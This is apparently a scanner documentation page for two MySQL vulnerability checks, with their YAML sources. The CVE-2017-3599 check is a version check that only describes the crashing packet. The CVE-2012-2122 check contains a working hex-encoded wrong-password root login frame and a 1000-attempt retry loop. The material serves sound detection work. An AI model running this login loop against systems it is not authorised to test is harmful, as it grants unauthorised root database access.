MySQL — 2 vulnerability checks
noctis ships 2 vulnerability checks for MySQL, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Oracle MySQL Server pre-auth handshake integer overflow DoS
| CVE | CVE-2017-3599 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | exposure — Exposure |
| Services | mysql |
| Detection | tcp_open, tcp_close, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/mysql/CVE-2017-3599.yaml |
Oracle MySQL Server 5.6.35 and earlier 5.6 releases and 5.7.17 and earlier 5.7 releases do not check the length of the authentication data in the client's login packet correctly (an integer overflow in the pluggable-authentication handshake parser). A remote unauthenticated attacker who can reach the MySQL port sends one crafted login packet and crashes the server (denial of service).
The test opens one connection to the MySQL port, reads the server greeting, closes the connection without logging in and reports the host when the greeting advertises MySQL 5.6.0 to 5.6.35 or 5.7.0 to 5.7.17. Fixed releases (5.6.36, 5.7.18 and later), MySQL 5.5 (not affected), MariaDB and a greeting that is an error packet are not reported.
This is a version check, on purpose: the only way to confirm the flaw is to send the crafted login packet, which crashes an affected server, so it is never sent. Builds that back-port the fix without changing the version string are still reported.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Checks
srv.affectedfor^true$→ finding QoD 70: Oracle MySQL Server pre-auth handshake integer overflow DoS (CVE-2017-3599)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-3599
- https://www.oracle.com/security-alerts/cpuapr2017.html
Feed source — tests/vulnerabilities/mysql/CVE-2017-3599.yaml
# Oracle MySQL pluggable-auth handshake integer overflow DoS — CVE-2017-3599
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_oracle_mysql_integer_overflow_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.810773, GPL-2.0-only). The NASL sends a
# HandshakeResponse41 whose auth-response length byte is 0xff (an invalid
# length-encoded integer) and reports when the reply is not "08S01 Bad handshake".
#
# Why this feed does NOT send that packet: tested in the sandbox against the
# official mysql:5.7.17 and mysql:5.6.35 images, the NASL's exact packet made
# mysqld crash (SIGSEGV in acl_authenticate, the container exited) — the probe IS
# the denial of service, and no lighter length value avoids the out-of-bounds
# copy. Fixed builds (mysql:5.7.18, mysql:5.6.36) and an unaffected 5.5.54 answer
# "08S01 Bad handshake". The NASL's own positive condition (reply > 26 bytes with
# "mysql_native_password") never fired on the real servers: they crash and send
# nothing.
#
# So this is a QoD 70 version check on the protocol-10 greeting: MySQL 5.6.0 to
# 5.6.35 and 5.7.0 to 5.7.17 (NVD CPE ranges). Better than the NASL: no crash of
# the target, the greeting itself is parsed (no separate product detection
# needed), MariaDB 10.x ("5.5.5-10.x.y-MariaDB") and 5.5.x are left out, and an
# ERR greeting (host blocked) is not reported.
uid: 47c71292-0c7a-45cb-9f27-dde9ec45f8b3
name: "Oracle MySQL Server pre-auth handshake integer overflow DoS (CVE-2017-3599)"
description: |
Oracle MySQL Server 5.6.35 and earlier 5.6 releases and 5.7.17 and earlier 5.7
releases do not check the length of the authentication data in the client's
login packet correctly (an integer overflow in the pluggable-authentication
handshake parser). A remote unauthenticated attacker who can reach the MySQL
port sends one crafted login packet and crashes the server (denial of service).
The test opens one connection to the MySQL port, reads the server greeting,
closes the connection without logging in and reports the host when the
greeting advertises MySQL 5.6.0 to 5.6.35 or 5.7.0 to 5.7.17. Fixed releases
(5.6.36, 5.7.18 and later), MySQL 5.5 (not affected), MariaDB and a greeting
that is an error packet are not reported.
This is a version check, on purpose: the only way to confirm the flaw is to
send the crafted login packet, which crashes an affected server, so it is
never sent. Builds that back-port the fix without changing the version string
are still reported.
cves: [CVE-2017-3599]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.20
tags: [mysql, oracle, database, dos, version-check, unauthenticated]
services: [mysql]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-3599"
- "https://www.oracle.com/security-alerts/cpuapr2017.html"
steps:
# Read the protocol-10 greeting; no login packet is ever sent.
- id: greet
action: tcp_open
handle: gate
port: "{{port}}"
tls: false
read_banner: true
timeout_secs: 10
store_as: greet
on_failure:
stop: true
- id: greet-close
action: tcp_close
handle: gate
# Returns #{ mysql, version, affected }. Protocol byte (offset 4) must be 0x0a;
# an ERR greeting (0xff) or another service is not MySQL.
- id: parse-greeting
action: script
store_as: srv
code: |
let hex = if type_of(greet.banner_hex) == "string" { tolower(greet.banner_hex) } else { "" };
let txt = if type_of(greet.banner) == "string" { greet.banner } else { "" };
let mysql = strlen(hex) >= 12 && u8(substr(hex, 8, 9)) == 10;
let m = if mysql { eregmatch("\n(([0-9]+)\\.([0-9]+)\\.([0-9]+)(?:-[0-9A-Za-z._+~-]*)?)", txt) } else { [] };
if m.len() < 5 {
#{ mysql: mysql, version: "", affected: false }
} else {
let a = parse_int(m[2]);
let b = parse_int(m[3]);
let c = parse_int(m[4]);
let affected = a == 5 && ((b == 6 && c <= 35) || (b == 7 && c <= 17));
#{ mysql: mysql, version: m[1], affected: affected }
}
- id: detect
action: match
source: srv.affected
pattern: "^true$"
on_match:
finding:
title: "Oracle MySQL Server pre-auth handshake integer overflow DoS (CVE-2017-3599)"
description: "The MySQL server greeting advertises a version affected by CVE-2017-3599: one crafted login packet sent by an unauthenticated attacker crashes the server. Reported from the version string only; the crashing packet is not sent."
remediation: "Upgrade MySQL Server to 5.6.36 / 5.7.18 or later (Oracle Critical Patch Update, April 2017). Do not expose the database port to untrusted networks."
confidence_delta: 0.50
qod: 70
evidence: "MySQL greeting advertises version {{srv.version}} (affected: 5.6.0-5.6.35, 5.7.0-5.7.17)."
stop: trueMySQL / MariaDB authentication bypass
| CVE | CVE-2012-2122 |
|---|---|
| Severity | medium · CVSS 5.1 |
| Category | auth-bypass — Auth bypass |
| Services | mysql |
| Detection | script, tcp_open, tcp_close, match, set_var, tcp_send · highest QoD 97 |
| Feed | tests/vulnerabilities/mysql/CVE-2012-2122.yaml |
Some MySQL and MariaDB builds (MySQL < 5.1.63, 5.5.x < 5.5.24, 5.6.x < 5.6.6; MariaDB < 5.1.62, 5.2.x < 5.2.12, 5.3.x < 5.3.6, 5.5.x < 5.5.23) cast the memcmp() result of the password check to `char`, so a login with any wrong password succeeds about once in 256 attempts. An attacker who can reach the port logs in as root by retrying.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Parses / computes the next value with a Rhai script
- Checks
srv.affectedfor^false$ - Opens a persistent TCP/TLS socket
- Sends a binary frame on the open socket
- Parses / computes the next value with a Rhai script
- Checks
stfor^blocked$ - Sends a binary frame on the open socket
- Checks
q.responseforNOCTIS_[0-9a-f]{16}→ finding QoD 97: MySQL / MariaDB authentication bypass (CVE-2012-2122) - Checks
stfor^ok$→ finding QoD 75: MySQL / MariaDB authentication bypass (CVE-2012-2122)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-2122
- https://seclists.org/oss-sec/2012/q2/493
- https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2012/CVE-2012-2122.yaml
Feed source — tests/vulnerabilities/mysql/CVE-2012-2122.yaml
# MySQL / MariaDB authentication bypass — CVE-2012-2122
#
# On some MySQL / MariaDB builds, check_scramble() returns memcmp()'s int result
# cast to `char`. With an optimised memcmp, a mismatch can return a value whose
# low byte is 0, so about 1 login in 256 succeeds with a WRONG password. The
# scramble is random per connection: reconnecting with the same wrong password
# logs in as root after ~256 attempts on average.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_mysql_mariadb_auth_bypass_cve_2012_2122.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103492, GPL-2.0-only): same HandshakeResponse41
# frame (user `root`, fixed 20-byte wrong token, mysql_native_password), sent on
# a new connection up to 1000 times, and only against versions in the vulnerable
# ranges.
#
# Detection method (real exploitation, benign proof):
# 1. gate read the protocol-10 greeting once and parse the server version;
# stop unless it is in the vulnerable ranges (as the NASL does, to
# avoid 1000 failed root logins against fixed servers).
# 2. loop ×1000 open, send the wrong-password login, read greeting + reply in one
# go (the frame is sent without waiting for the greeting: the token
# is wrong anyway, so the scramble does not matter, and the server
# closes on ERR so each failed attempt costs one round trip).
# 3. proof on an OK packet, run `SELECT CONCAT('NOCTIS_','<tok>')` on the
# same session and require the contiguous per-run marker
# NOCTIS_<tok> in the result row (QoD 97). An OK packet whose query
# does not echo the marker still reports, at QoD 75.
#
# Better than the NASL / Nuclei:
# - the NASL stops at the OK packet; here the bypassed session runs a read-only
# query and the result must carry a per-run marker (an echo of the query text
# `'NOCTIS_','<tok>'` cannot match);
# - MariaDB >= 10 advertises "5.5.5-10.x.y-MariaDB": the gate strips the 5.5.5-
# replication prefix, so a modern MariaDB is not mistaken for MySQL 5.5.5;
# - MySQL 5.6.0–5.6.5 (pre-GA builds, fixed in 5.6.6 per NVD) is in scope;
# - a greeting that is an ERR packet (host blocked, too many connections) stops
# the loop at once instead of hammering the server.
#
# Cyber-safety: the only statement run after the bypass is a constant SELECT —
# no table is read or written. It still logs in as root and makes up to 1000
# failed root logins, so it is tagged intrusive / category auth-bypass.
uid: c35b964f-d784-43d5-974d-447a190cd08d
name: "MySQL / MariaDB authentication bypass (CVE-2012-2122)"
cves: [CVE-2012-2122]
cvss: 5.1
severity: medium
category: auth-bypass
confidence_base: 0.20
tags: [mysql, mariadb, database, auth-bypass, unauthenticated, intrusive]
services: [mysql]
author: noctis
version: "1.0.0"
description: |
Some MySQL and MariaDB builds (MySQL < 5.1.63, 5.5.x < 5.5.24, 5.6.x < 5.6.6;
MariaDB < 5.1.62, 5.2.x < 5.2.12, 5.3.x < 5.3.6, 5.5.x < 5.5.23) cast the
memcmp() result of the password check to `char`, so a login with any wrong
password succeeds about once in 256 attempts. An attacker who can reach the
port logs in as root by retrying.
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2122"
- "https://seclists.org/oss-sec/2012/q2/493"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2012/CVE-2012-2122.yaml"
steps:
# Per-run marker and the COM_QUERY frame that should return it.
- id: mint-token
action: script
code: 'rand_hex(8)'
store_as: tok
- id: build-marker
action: script
code: '"NOCTIS_" + tok'
store_as: marker
# [len:3 LE][seq 0][0x03 COM_QUERY][SELECT CONCAT('NOCTIS_','<tok>')]
- id: build-query
action: script
store_as: query_frame
code: |
let sql = "SELECT CONCAT('NOCTIS_','" + tok + "')";
substr(p32le(strlen(sql) + 1), 0, 5) + "00" + "03" + hexstr(sql)
# 1 — read the greeting once and gate on the version.
- id: greet
action: tcp_open
handle: gate
port: "{{port}}"
tls: false
read_banner: true
timeout_secs: 10
store_as: greet
on_failure:
stop: true
- id: greet-close
action: tcp_close
handle: gate
# Returns #{ mysql, version, affected }.
- id: parse-greeting
action: script
store_as: srv
code: |
let hex = if type_of(greet.banner_hex) == "string" { tolower(greet.banner_hex) } else { "" };
let txt = if type_of(greet.banner) == "string" { greet.banner } else { "" };
let mysql = strlen(hex) >= 12 && u8(substr(hex, 8, 9)) == 10;
let m = if mysql { eregmatch("\n((?:5\\.5\\.5-)?([0-9]+)\\.([0-9]+)\\.([0-9]+)[^\\x00]*)", txt) } else { [] };
if m.len() < 5 {
#{ mysql: mysql, version: "", affected: false }
} else {
let a = parse_int(m[2]);
let b = parse_int(m[3]);
let c = parse_int(m[4]);
let affected = a < 5 || (a == 5 && (b == 0
|| (b == 1 && c < 63)
|| (b == 2 && c <= 11)
|| (b == 3 && c <= 5)
|| (b == 5 && c <= 23)
|| (b == 6 && c < 6)));
#{ mysql: mysql, version: m[1], affected: affected }
}
- id: gate-version
action: match
source: srv.affected
pattern: "^false$"
on_match:
stop: true
# 2 — up to 1000 wrong-password root logins, one connection each.
- id: attempt
loop:
count: 1000
var: attempt
action: set_var
var_name: st
var_value: "none"
- id: login-open
action: tcp_open
handle: login
port: "{{port}}"
tls: false
timeout_secs: 10
store_as: conn
on_failure:
stop: true
# HandshakeResponse41 from the NASL: caps 0x000fa605, max packet 0x01000000,
# charset 0x21, user "root", 20-byte wrong token, plugin mysql_native_password.
- id: login-send
action: tcp_send
handle: login
send_hex: "5000000105a60f0000000001210000000000000000000000000000000000000000000000726f6f74001426cd8e6a43446121e7968b18c3dc55cc5dd6a3b06d7973716c5f6e61746976655f70617373776f726400"
timeout_secs: 10
store_as: auth
# The reply holds the greeting, then the auth result packet (seq 2).
# ok = OK packet (0x00); blocked = the greeting itself is an ERR packet.
- id: login-result
action: script
store_as: st
code: |
let hex = if type_of(auth.response_hex) == "string" { tolower(auth.response_hex) } else { "" };
if strlen(hex) < 10 {
"none"
} else if u8(substr(hex, 8, 9)) == 255 {
"blocked"
} else {
let off = (4 + u32le(substr(hex, 0, 5) + "00")) * 2;
if u8(substr(hex, off + 6, off + 7)) == 2 && substr(hex, off + 8, off + 9) == "00" { "ok" } else { "denied" }
}
- id: stop-if-blocked
action: match
source: st
pattern: "^blocked$"
on_match:
stop: true
# 3 — prove the session: a constant SELECT must return the per-run marker.
- id: proof-query
action: tcp_send
handle: login
condition: 'st == "ok"'
send_hex: "{{query_frame}}"
timeout_secs: 10
store_as: q
- id: detect
action: match
source: q.response
pattern: "NOCTIS_[0-9a-f]{16}"
condition: 'st == "ok" && q.responded == true && stridx(q.response, marker) >= 0'
on_match:
finding:
title: "MySQL / MariaDB authentication bypass (CVE-2012-2122)"
description: "A login as root with a wrong password was accepted, and the session ran a query that returned the per-run marker: the server is affected by CVE-2012-2122 and anyone who can reach it can log in as root."
remediation: "Upgrade MySQL to 5.1.63 / 5.5.24 / 5.6.6 or later, or MariaDB to 5.1.62 / 5.2.12 / 5.3.6 / 5.5.23 or later. Do not expose the database port to untrusted networks."
confidence_delta: 0.77
qod: 97
evidence: "Server {{srv.version}}: wrong-password root login accepted on attempt {{attempt}}; SELECT CONCAT('NOCTIS_','{{tok}}') returned {{marker}} — authenticated session confirmed."
stop: true
- id: detect-ok-only
action: match
source: st
pattern: "^ok$"
on_match:
finding:
title: "MySQL / MariaDB authentication bypass (CVE-2012-2122)"
description: "A login as root with a wrong password was answered with an OK packet: the server is affected by CVE-2012-2122."
remediation: "Upgrade MySQL to 5.1.63 / 5.5.24 / 5.6.6 or later, or MariaDB to 5.1.62 / 5.2.12 / 5.3.6 / 5.5.23 or later. Do not expose the database port to untrusted networks."
confidence_delta: 0.60
qod: 75
evidence: "Server {{srv.version}}: wrong-password root login answered with an OK packet on attempt {{attempt}} (the proof query did not return the marker). Reply (hex): {{auth.response_hex}}"
stop: true
- id: login-close
action: tcp_close
handle: login